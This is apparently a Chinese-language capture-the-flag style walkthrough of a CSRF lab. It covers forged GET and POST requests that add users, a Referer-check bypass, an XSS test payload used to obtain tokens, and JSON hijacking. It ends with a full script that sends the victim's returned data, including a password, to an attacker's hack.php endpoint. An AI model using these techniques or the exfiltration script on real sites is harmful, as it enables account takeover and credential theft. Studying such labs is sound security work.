CSRF实战靶场 --致谢大哥
0X01无防护GET类型CSRF(伪造添加成员请求)
环境 靶机管理登陆 192.168.1.132
本机 192.168.1.5
首先我们登陆 test账号 然后点击 添加用户
构造出我们的url
然后发送给已经登陆的管理员
管理 点开连接
可以看见我们添加成功
0X02无防护POST类型csrf-伪造出添加成员的请求
你想让受害者执行的页面构造poc 大哥说用burp
然后 发送页面到受害者登陆了的电脑 然他点击
最后看见成功添加
0x03绕过CSRF防护之Referer检查-伪造购买商品请求
这里来讲解一下refer是什么呐??这里给你解释
https://blog.csdn.net/shenqueying/article/details/79426884
那么我们继续组合群 burp POC 然后发给admin
但是出现了这样的结果 why?
这里我们在DVWA上面做过这个 可以将页面名称改为
www.csrf_demo.com.html
然后将其放到外网服务器上面去
然后构造
http://外网ip/www.csrf_demo.com.html 这样referer里面就包含和host相同的值了
这里 我们的外网ip是
http://xxxxx:2017/www.csrf_demo.com.html
然后就会购买成功
0X04配合XSS漏洞获取了用户token后进行csrf攻击(伪造添加成员请求)
这里题目告诉我们要利用xss漏洞获取用户token csrf是不可以单独获取用户的token的 所以这里我们配合xss
经过我们测试发现 username和password处都存在XSS注入
<script>alert(1)</script>
0X05JSON服务端情景的CSRF伪造劫持(伪造并劫持查询当前用户信息的请求)
首先我们先来了解一下什么是json 下面讲解
https://baike.baidu.com/item/JSON/2462549?fr=aladdin
任务要求
模拟出查询当前用户密码的请求链接,发送给已经登录的管理,造成csrf攻击并劫持服务端返回来的JSON信息
思路
构造查看密码连接 发给管理 让管理点击 然后我们使用json劫持 盗取从服务器返回来的密码信息 并且发送给我们的服务器
0X0A burp构造 查看密码CSRFpoc
0X0B 利用JSON劫持 并且将数据写入到我们服务器的文本中(动态注入script标签)
自定义call4back函数,来劫持数据
触发函数后 从服务器端返回json数据 然后将数据输出到前端
这里还是把我们的js脚本放在服务器上 然后用script进行跨域请求
访问我们的脚本代码
<html> <head> <script type="text/javascript"> function hijack(result) { var data = ''; for(var i in result) { data += i + ':' + result[i]; } new Image().src = "http://www.csrf_demo.com/hack.php?data=" + escape(data);//把数据发送到攻击者服务器上 } </script> <script type="text/javascript" src="http://www.csrf_demo.com/csrf_5.php?callback=hijack"></script> </body> </html>
然后就成功执行了